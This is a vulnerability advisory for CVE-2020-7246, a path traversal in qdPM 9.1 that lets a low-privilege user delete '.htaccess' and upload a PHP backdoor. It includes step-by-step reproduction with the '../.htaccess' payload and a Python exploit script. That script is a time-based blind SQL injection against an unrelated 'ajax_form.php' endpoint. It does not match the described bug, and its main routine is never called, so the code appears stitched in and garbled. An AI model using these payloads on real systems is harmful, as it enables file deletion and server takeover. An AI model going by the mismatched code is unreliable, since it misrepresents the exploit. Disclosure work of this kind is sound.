CVE-2020-7246:Path Traversal in qdPM 9.1

CVE-2020-7246:Path Traversal in qdPM 9.1

Vulnerability Reports
July 28, 2020
Profile Icon

Jason Franscisco

Path Traversal in qdPM 9.1

28 July, 2020

CVE Number


Vulnerability Description

Path traversal or Directory traversal is a security vulnerability that occurs when software uses attacker-controlled input to construct a pathname to a directory or file located outside of the restricted directory. An attacker might be able to read arbitrary files on the target system when the application fails to neutralize sequences such as " ../ " that can resolve to a location that is outside of that directory.

CWE Number


Base Score:


Steps to reproduce:
  • Login as normal user & visit http://localhost/qpdm/index.php/myAccount
  • Check the “Remove photo” checkbox and save to intercept the request
  • Intercept the request on submitting the form (`save`) by selecting the checkbox 'Remove Photo'
  • Modify the request parameter `users['photp_preview']` to `../.htaccess` and forward the request.

Path traversal to Remote code execution

An attacker (user with least privilege) can abuse the remove profile photo functionality to traverse through other directories & delete the files on the server.

In the attack scenario, we were able to delete “.htaccess” file in the uploads & user directory, bypassing the protection applied against running dangerous file types (php, html, exe). Leveraging this, we have uploaded a php backdoor, gaining ability to execute commands on the server.

import requests
import sys
from bs4 import BeautifulSoup

s = requests.Session()

def sqli(ip, inj_str):
	for j in range(32, 126):
		target = "http://%s/ajax_form.php" % sys.argv[1]
		p_data = {"action": "test", "type": "customoid", "device_id": inj_str.replace("[CHAR]", str(j))}
		r = s.post(target, data=p_data)
		if (round(r.elapsed.total_seconds()) > 7):
			return j
	return None

def main():
	ip = sys.argv[1]
	print "(+) Retrieving database version...."
	for i in range(1, 15):
		injection_string ="1 and if(ascii(substring((select version()),%d,1))=[CHAR],sleep(10),'bar')%%23" % i
		extracted_char = chr(sqli(ip, injection_string))
		sys.stdout.write(extracted_char) # displaying data
	print "\n(+) done!"

if __name__ == "__main__":
	if len(sys.argv) != 4:
		print "(+) usage: %s   " % sys.argv[0]
		print '(+) eg: %s domain/ip username password' % sys.argv[0]

	login_url = "http://%s/login" % sys.argv[1]
	response = s.get(login_url)
	soup = BeautifulSoup(response.text, 'html.parser')
	_token = soup.find('input')['value'] 
	username = sys.argv[2]
	password = sys.argv[3]
	login_data = {"_token": _token, "username": username, "password": password, "remember": "on", "submit":""}
	login = s.post(login_url, data=login_data)

We have an exploit written to gain Remote Web-shell. In order to run the exploit


`python $POC -url http://IPADDRESS -u test1@localhost.com -p test1``qdPM-exploit.py` will be posted on exploit-db


To protect the application from this weakness it is advised to follow these instructions:

  • Normalizing user-supplied input against such attacks like Path/Directory Traversal
  • Since having an `.htaccess` file is an improper fix, whitelisting technique should be implemented for the file extensions which are to be uploaded

Vendor Disclosure:


Discovered by ACE Team – Loginsoft

Explore Cybersecurity Platforms

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse varius enim in eros.

Discover Lovi

Sign up to our Newsletter